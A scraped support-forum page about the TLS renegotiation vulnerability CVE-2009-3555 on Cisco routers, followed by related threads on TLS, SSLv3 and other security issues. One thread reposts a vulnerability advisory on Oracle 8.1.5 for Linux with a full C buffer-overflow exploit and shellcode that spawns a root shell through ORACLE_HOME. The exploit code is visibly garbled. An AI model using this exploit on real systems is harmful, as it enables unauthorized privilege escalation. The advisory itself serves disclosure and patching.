RV016 - TLS Protocol Session Renegotiation Security Vulnerability

My RV016 with firmware 3.0.2.01-tm has failed PCI compliancy testing with my credit card company. They have identified that a TLS Protocol Session Renegotiation Security Vulnerability exists. I see that I have the most recent firmware version for my router and have disabled PPTP server, but I cannot get it to pass. How do I disable this feature?
Steve

I found the vulnerability number CVE-2009-3555
If u have applied the latest Critical Patch Update, you should b fine.
Find more details here
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555

Similar Messages

  • TLS Protocol Session Renegotiation Security Vulnerability

    Has anyone out there been trying to figure out a way to deal with this TLS vulnerability?
    An industry-wide vulnerability exists in the Transport Layer Security (TLS) protocol that could impact any Cisco product that uses any version of TLS and SSL. The vulnerability exists in how the protocol handles session renegotiation and exposes users to a potential man-in-the-middle attack.
    This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20091109-tls.shtml

    I have updated the link.
    This is a TLS/SSL vulnerability that is industry wide. it is a problem with the protocols themselves not the implementation. I am certain that it affects IronPort and have word that they are working on it.
    I was hoping someone from IronPort would jump in and let us know what was going on, and when we would expect to see an update for the AsynchOS.
    Thierry ZOLLER does a good job of explaining the issue at the below link.
    http://www.g-sec.lu/practicaltls.pdf

  • TLS Protocol Session Renegotiation Security Vunerability - RV220W

    I have a 2013 Model Cisco RV220W.
    The bank scans our system for security.  The RV220W cannot pass the scan because it has "TLS Protocol Session Renegotiation Security Vunerability".  This is due to it using open_ssl version 0.9.8e.  To solve the problem open_ssl version 0.9.8L or higher MUST be installed.  This security problem has been around since 2009 when it was discovered, long before this router was made.
    I need CISCO to release a firmware upgrade higher than the current 1.0.5.8 that will incorporate open_ssl version 0.9.8L or higher.
    Sincerely,
    Du-Rron Burton

    I found the vulnerability number CVE-2009-3555
    If u have applied the latest Critical Patch Update, you should b fine.
    Find more details here
    http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555

  • TLS Session Renegotiation Vulnerability

    Hi Team,
    We are trying to scan the ASA firewall and getting the below error. Is there any way to resolve this issue? Please sugget.
    We did a security scan of Internal firewall and found one issue - "TLS
    Session Renegotiation Vulnerability"
    The TLS protocol, and the SSL protocol 3.0 and possibly earlier, does
    not properly associate renegotiation handshakes with an existing
    connection, which allows man-in-the-middle attackers to insert data into
    HTTPS sessions, and possibly other types of sessions protected by TLS or
    SSL, by sending an unauthenticated request that is processed
    retroactively by a server in a post-renegotiation context, related to a
    "plaintext injection" attack

    It would be easier to search for a solution if theres a CVE ID available.
    Perhaps it's solved with Interim 9.1.2?
    Michael
    Please rate all helpful posts

  • How Redirect browser(client) based on non-negotiable SSL/TLS protocol or cipher

    Hi guys,
    we have a security requirement wherein we have to  force the browsers accessing our asp.net application hosted on windows server 2012 to have atleast tsl 1.1 , but we don't want to simply block the request, instead we would like to redirect the request
    to a unsecured static html page with the instructions on how to get them onto tsl.
    can any one help me here?>? actually i found a similar and exactly same thread on stackoverflow but i think that is probably directed towards linux family.   http://serverfault.com/questions/591188/redirect-browser-based-on-non-negotiable-ssl-tls-protocol-or-cipher
    please help me guys..
    ps: i have posted the same question on IIS forum (http://forums.iis.net/t/1223352.aspx?How+Redirect+browser+client+based+on+non+negotiable+SSL+TLS+protocol+or+cipher+from+IIS)
    and got a reply saying that it can be done at windows kernel level(possibly).

    Hi,
    As far as I know, once SSL handshake fails, no subsequent communication would occur between the server and client.
    Therefore, as the way I see it, the goal cannot be achieved.
    Best Regards,
    Amy
    Please remember to mark the replies as answers if they help and un-mark them if they provide no help. If you have feedback for TechNet Subscriber Support, contact
    [email protected]

  • How Redirect browser(client) based on non-negotiable SSL/TLS protocol

    Hi guys,
    we have a security requirement wherein we required to force the browsers accessing our application to have atleast tsl 1.1 , but we don't want to simply block the request, instead we would like to redirect the request to a unsecured static html page with the
    instructions on how to get them onto tsl.
    can any one help me here?>? actually i found a similar and exactly same thread on stackoverflow but i think that is probably directed towards linux family.   http://serverfault.com/questions/591188/redirect-browser-based-on-non-negotiable-ssl-tls-protocol-or-cipher
    ps: i have posted the same question on IIS forum (http://forums.iis.net/t/1223352.aspx?How+Redirect+browser+client+based+on+non+negotiable+SSL+TLS+protocol+or+cipher+from+IIS) and got a reply saying
    that it can be done at windows kernel level(possibly by making use of
    http.sys, ksecdd.sys and schannel).
    can any one help me here guys.
    Thanks,
    Haroon 

    Hi,
    As far as I know, once SSL handshake fails, no subsequent communication would occur between the server and client.
    Therefore, as the way I see it, the goal cannot be achieved.
    Best Regards,
    Amy
    Please remember to mark the replies as answers if they help and un-mark them if they provide no help. If you have feedback for TechNet Subscriber Support, contact
    [email protected]

  • Trying to make the SSLv3 and TLS protocols coexist

    I have a customer who wants to remove their vulnerability to (among other things) POODLE by getting rid of SSLv3 for communicating with external vendors via their PI system, by restricting traffic to using the TLS protocol.
    Unfortunately, not all their External Partners can meet this requirement, so temporarily, they want to have SSLv3 traffic (where still necessary) over one port and TLS traffic over another. The plan is that there will also be fire wall rules restricting the IP addresses of  "legacy partners" to the SSLv3 port. Following the instructions in 510007 - Setting up SSL on Application Server ABAP, they have installed SAPCRYPTOLIB version 5.5 and have set up the following configuration in DEFAULT.PFL:
    * outgoing connections
    ssl/ciphersuites = 135:HIGH
    * incoming connections - TLS only protocol
    icm/server_port_02 = PROT=HTTPS,PORT=443,SSLCONFIG=.........
    icm/ssl_config_02 = CIPHERS=135:HIGH:MEDIUM:+e3DES
    * incoming connections - SSL protocol
    icm/server_port_01 = PROT=HTTPS,PORT=444,SSLCONFIG=.........
    icm/ssl_config_01 = CIPHERS=196:HIGH:MEDIUM:+e3DES
    So, what happens now is that f the External Partner attempts to initiate SSLv3 communications via port 443, then it fails. Yes, as currently setup, the External Partner can also initiate TLS communication over this port, but this is fine (for example, wireshark shows that the TLS protocol doesn't get downgraded to SSLv3).
    The problem is that there is no way to control by port or customer whether outgoing connections are going to an SSLv3 or TLS only partner, so ssl/ciphersuites must allow for SSLv3 connections. This means that we can get a partner responding, over port 443, with the SSLv3 protocol without any error, thus allowing for an interception (ala POODLE).
    Can we prevent SSLV3 traffic from succeeding over port 443, regardless of who initiates it ?

    Hi,
    I don't think that PI provides capabilities of setting allowed cipher suites per communication channel. Hence you can try to do this outside of SAP which brings additional complexity to your landscape. You could introduce a reverse proxy that would have hostnames like customer1.weakssl.local, customer2.weakssl.local for every customer that still needs SSLv3. This proxy would accept only TLS connection so you would be able to set ssl/client_ciphersuites to allow only strong suites. Your PI system would connect to partners with TLS or this reverse proxy only. The reverse proxy would drop TLS connection from PI and establish new connection SSLv3 between itself and customer. Hence PI would never use SSLv3 and the allowed SSLv3 outbound connections would be controlled by reverse proxy configuration.
    PI ------------TLS----------------> Client that supports TLS
    PI ------------TLS----->Reverse Proxy -----------SSLv3 ---------> Client that does not support TLS
    Another disadvantage is that you will have to update PI config to connect via new reverse proxy instead of direct connection to customer's system.
    Cheers

  • FTP security vulnerability or what ?

    I have tested the FTP settings on my DL2100 and allowed access for only 2 users X and Y. I have disabled Anonymous user on the FTP folder.When i looked at my logs, i saw that Anonymous has been logging in and out a few times a day.  I said that impossbile since this user is  not allowed.I logged on to the FTP with Anonymous myself, to my surprise and see only the ROOT folder, but indeed no FTP shares. I couldn't navigate anywhere with this user, BUT is this the way WD intended to secure FTP connections ? Shouldn't  the connection for Anonymous be denied from the beggining ?

    adicrst wrote:
    Reply from WD Support Thank you for contacting Western Digital Customer Service and Support. My name is X.
    I am sorry to read that you have an issue with the FTP. Our apologies for the inconvenience that this may have caused you.
    Concerning the question you have about the Anonymous in FTP, I can inform you that when you created shares w which are accessible through FTP and you selected for the Anonymous as None, it is counted always for the share which Anonymous is not allowed to access and not for the root directory. That is why you can see the root directory, but not the specific shares.
    I hope that I provided you the information you need and that you are satisfied with the answer.
    If you have any further questions, please reply to this email and we will be happy to assist you further. So in other words we should just live with this security vulnerability, even if everyone has a solid confirmation that your FTP is available on the internet and everyone can log just for the fun of it with Anonymous user.What if i allow only 1 FTP connection and a hacker is holding it busy with  Anonymous session ? Like the support guy state, when you enable FTP on a folder, remember to select, when I state select mean click the down arrow and select "Anonymous None" then click save.  That is how I know it will save the setting.  If you don't select, the device will think you want to set your FTP server for everyone to log in "including annonymous."

  • Iphone 3G Software Update Fixes security vulnerability associated with viewing malicious PDF files?

    Is there an Iphone 3G Software Update Fixes security vulnerability associated with viewing malicious PDF files?  Latest version I can download is 4.2.1
    I assume no fix is available, does anyone know if I'm still vulnerable to the security bug?

    No fix is needed since that vulnarability isn't in 4.2.1.

  • We use an add-on in one of our online solutions and we've identified a security vulnerability. The issue has been addressed in our latest add-ons and we would like to know how we may blocklist our previous player through a firefox update?

    We use an add-on in one of our online solutions and we've identified a security vulnerability. The issue has been addressed in our latest add-ons and we would like to know how we may blocklist our previous player through a firefox update?

    You can file a bug report to do that request.
    http://developer.mozilla.org/en/docs/Bug_writing_guidelines

  • Security vulnerability in Oracle 8.1.5

    The following email was forwarded to me about possible security vulnerabilities.
    I am looking for verification from both Oracle and the user comunity.
    ================================================================================
    [ Hackerslab bug_paper ] Linux ORACLE 8.1.5 vulnerability
    ================================================================================
    File : Oracle 8.1.5
    SYSTEM : LINUX
    Tested by RedHat Linux 6.2
    INFO :
    There are two security vulnerability in Oracle.
    1. buffer overflow
    It is possible to create a buffer overflow vulnerability using "ORACLE_HOME",
    one of the environmental value of Oracle.
    Oracle applications that are vulnerable to buffer overflow are as follow :
    - names
    - namesctl
    - onrsd
    - osslogin
    - tnslsnr
    - tnsping
    - trcasst
    - trcroute
    Thease applications allow an attacker to excute a buffer overflow exploit.
    2. Log-files created
    When a user excutes one of Oracle applications such as names, oracle or tnslsnr,
    following log files are created.
    names
    ======
    -rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
    -rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
    -rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
    oracle
    ======
    -rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
    tnslsnr
    =======
    -rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
    SOLUTION
    Contact your vendor for a patch or close setuid permission.
    # su - oracle
    $ cd /oracle_8.1.5_install_directory/bin
    $ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst trcroute
    ==-------------------------------------------------------------------------------==
    * ** ** * [email protected] [yong-jun, kim]
    * ** ** * [ [URL=http://www.hackerslab.org]http://www.hackerslab.org ]
    ******** HACKERSLAB (C) since 1999
    ==-------------------------------------------------------------------------------==
    Oracle 8.1.5 exploit
    -by loveyou
    offset value : -500 ~ +500
    #include <stdio.h>
    #include <stdlib.h>
    #define BUFFER 800
    #define NOP 0x90
    #define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
    char shellcode[] =
    /* - K2 - */
    /* main: */
    "\xeb\x1d" /* jmp callz */
    /* start: */
    "\x5e" /* popl %esi */
    "\x29\xc0" /* subl %eax, %eax */
    "\x88\x46\x07" /* movb %al, 0x07(%esi) */
    "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
    "\x89\x76\x08" /* movl %esi, 0x08(%esi) */
    "\xb0\x0b" /* movb $0x0b, %al */
    "\x87\xf3" /* xchgl %esi, %ebx */
    "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
    "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
    "\xcd\x80" /* int $0x80 */
    "\x29\xc0" /* subl %eax, %eax */
    "\x40" /* incl %eax */
    "\xcd\x80" /* int $0x80 */
    /* callz: */
    "\xe8\xde\xff\xff\xff" /* call start */
    "/bin/sh";
    unsigned long getesp(void)
    __asm__("movl %esp,%eax");
    int main(int argc, char *argv[])
    char buff, ptr,binary[120];
    long *addr_ptr, addr;
    int bsize=BUFFER;
    int i,offset;
    offset = 0 ;
    if ( argc > 1 ) offset = atoi(argv[1]);
    buff = malloc(bsize);
    addr = getesp() - 5933 - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
    memset(buff,bsize/2,NOP);
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode;
    buff[bsize - 1] = '\0';
    setenv("ORACLE_HOME",buff,1);
    printf("[ offset:%d buffer=%d ret:0x%x ]\n",
    offset,strlen(buff),addr);
    system(PATH);
    null

    Hi Peter,
    I was told that Oracle8 and Oracle8i Parallel Server on IBM
    RS/6000 AIX comes with its own Lock Manager and this LM does not
    rely on the Cluster Lock Manager (cllockd) of HACMP for AIX, as
    Oracle7 Parallel Server on normal (non-SP) RS/6000 does.
    (Oracle7 Parallel Server on RS/6000 SP didn't use the cllockd of
    HACMP but came with a special LM.)
    Cluster-wide Filesystems are not used for OPS on Unix, as far as
    I know Unix (AIX, Solaris). All Data-, Log- and Control-Files
    must reside on concurrently (!) accessible Raw-Devices (e.g. Raw
    Logical Volumes on AIX).
    So I guess it should be possible for Oracle to port OPS to Linux.
    No special Cluster-Services would be needed for OPS on Linux,
    just a shared SCSI-bus (e.g.) and a fast interconnect (e.g.
    100BaseT).
    Peter Sechser (guest) wrote:
    : Dave,
    : Parallel Server needs some cluster services in order to
    : communicate between several nodes. So, the operating system has
    : to offer things like inter-node communication services,
    : cluster-wide lock communication services and a clusterwide
    : filesystem. I'm not quite sure, to what degree Linux
    offers/will
    : offer these services.
    : Peter
    null

  • JComboBox makes for nice security vulnerability under X11?

    I noticed a couple years ago that when I set a breakpoint inside a JComboBox state change event handler on a Java application or applet running under X11, the entire desktop would hang. Back then, I checked the Swing bug database and found an issue regarding this, but it was closed with an evaluation that pretty much simply said that the developer didn't know how to fix it.
    When I brought this up in the netbeans mailing list, someone suggested that this could be a security issue if someone intentionally/programmatically stopped all processing from within this event handler (perhaps from an applet). Perhaps, as a security vulnerability this bug would get more attention!
    Well, it's been over a year and the latest JDK 1.6b10 (build 25) still has this problem. So, obviously it's not bothering anyone, except me, enough to do anything about it. I could try to file this bug under Swing again (probably with same outcome) or try filing it as a security bug. What are people's thoughts?

    Hi
    Try going here:
    http://europe.nokia.com/A4423034
    Or alternatively : find the product pages for the 5700 by going to www.nokia.com/phones, then pick out 5700, then dip into "PC software" and "Music"
    Cheers

  • CVE-2000-0649 Security Vulnerability

    I have 2 NW 6.5 SP8 servers which are running HTTPSTK (version 4.03 9/4/08) PORTAL (version 4.03 9/22/08). I am trying to pass a security scan and a security vulnerability on ports 8008 and ports 8009 has been identified, issue CVE-2000-0649, whereby my internal IP addresses may be exposed.
    Is there a later version of HTTPSTK and PORTAL which address this security vulnerability, or do I need to close ports 8008 and 8009 via my firewall?

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    Did you read the CVE... the one from eleven years ago? First clue that
    this is, as usual, bogus:
    <quote>
    IIS 4.0 allows remote attackers to obtain the internal IP address of the
    server via an HTTP 1.0 request for a web page which is protected by basic
    authentication and has no realm defined.
    </quote>
    If you're really concerned have your security assessors prove the issue is
    real by exploiting the vulnerability.
    Good luck.
    On 06/27/2011 10:36 AM, flakestar wrote:
    >
    > I have 2 NW 6.5 SP8 servers which are running HTTPSTK (version 4.03
    > 9/4/08) PORTAL (version 4.03 9/22/08). I am trying to pass a security
    > scan and a security vulnerability on ports 8008 and ports 8009 has been
    > identified, issue CVE-2000-0649, whereby my internal IP addresses may be
    > exposed.
    >
    > Is there a later version of HTTPSTK and PORTAL which address this
    > security vulnerability, or do I need to close ports 8008 and 8009 via my
    > firewall?
    >
    >
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v2.0.15 (GNU/Linux)
    Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
    iQIcBAEBAgAGBQJOCLtRAAoJEF+XTK08PnB5gJ4QAI1k0a3y1t 6Pua2lK50gU0Xr
    l2AMohzLEDRgyia2z16magQNy7mhfIlBdvC5gI30WV4GmGI2Yv Ydco0W8uEUoenY
    qXPhZLCT7pfbs1pIpv+nlNfV69UlobcM5FiAuw4lu815WNBO37 77i53K1Gh6PN7A
    vIv9JImirxM1WQVYYsibpiO+dxUyjr3CJ6ND5TlGcojVhx7Uti tipmrAspHBw+vd
    QUlg9QUt7i2lk6JHt2M3YArcD0LI8UzFhwmsqxLZ+4a/BJzkY1Q13Thb/cLx1cM7
    d1KWlF4h81K+hTCBP78Q+fWQrcVgNq10ix0hhaKat0oRpKoXfV 9nJjyZgMJ6V/vi
    HHeptlfonOUAef5KxEZJoac7FCQRgTsgOhM1Sj+sXtAQ6gAH8Q I+0j5iw4iBBwRs
    +Ycc5SdoFAVe1aXjz7CfZjaOgk/I2S3OgCSceJEf5X5eBhzl4C0g9xDzhALo5MFp
    iDMhAPJ19bMVT374mhC1J9QsOvM/o07a9vth6zgy3g5aQrL/SO4Rmyy6w1LiKeBX
    hoM8pEZSvU4AFWh4okDRZdplEcKjEzowyTwwRcC8gIQHE4kxir Iso5v62vTSTxM4
    0JbqRfQvuGZQN8dh7W2HiF5Bi+d9Q3bJ0zhhG1GLGu/iIAsXGYMRvsQAx4tPIGcJ
    puQi/2ySMcsNfb0bOL9L
    =pz/w
    -----END PGP SIGNATURE-----

  • HT202802 What "security vulnerability" will be opened by using this signing technique?

    Regarding article: HT202802
    OS X: Using AppleScript with Accessibility and Security features in Mavericks - Apple Support
    The article says:
    Important: Signing an applet using the following method introduces a security vulnerability that could allow malicious software to use Accessibility without user permission.
    1. What "security vulnerability" will be opened by using this signing technique?
    2. Does signing this way only make the App its applied to vulnerable only? and then the whole computer vulnerable depending on how extensive the app's reach is to the rest of the computer?
    3. More information: My app only relates to the Reminders app and bunch of Finder items....nothing internet based, etc.  That being said, is this still a vulnerability to my computer?
    "Note: If you have your own signing identity, you may use that identity in place of “-” for the -s option." 
    1. What is "my own signing identity?" and if I don't have one, would it add security to get one and use it here?
    Thanks for the help in advance!

    1) There are a few system features, including accessibility, that will override any and all other security protections on you machine. This is the vulnerability. In giving the script the ability to control your machine, you give control of your machine to the script.
    2) By signing the script, that control is permanent. If the app doesn't do anything malicious, there is no problem. But malicious apps sometimes don't manifest until later.
    3) Did you write the app? If so, then there is nothing to worry about. If not, then how much do you trust the author of the app?
    Generally, this isn't too big a deal. Apple is very protective, but most people generally hand over their passwords to anyone. They shouldn't, of course, but generally they do. They don't realize the extent to which they have handed over control of their machine and all of their data. Apple is trying to point that out.

  • Mac Java security vulnerability upgrade - issue.

    The recent (I did it today) upgrade of Mac OS 10.8.2 to fix Java security vulnerability is now causing flickering on my Macbook Pro. Kindly help.

    Restart.
    Reset PRAM.  http://support.apple.com/kb/PH4405
    Best.

Maybe you are looking for